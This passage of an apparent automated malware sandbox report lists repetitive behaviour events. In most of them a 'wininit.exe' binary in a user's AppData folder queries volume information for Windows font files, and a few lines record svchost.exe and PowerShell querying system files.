Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
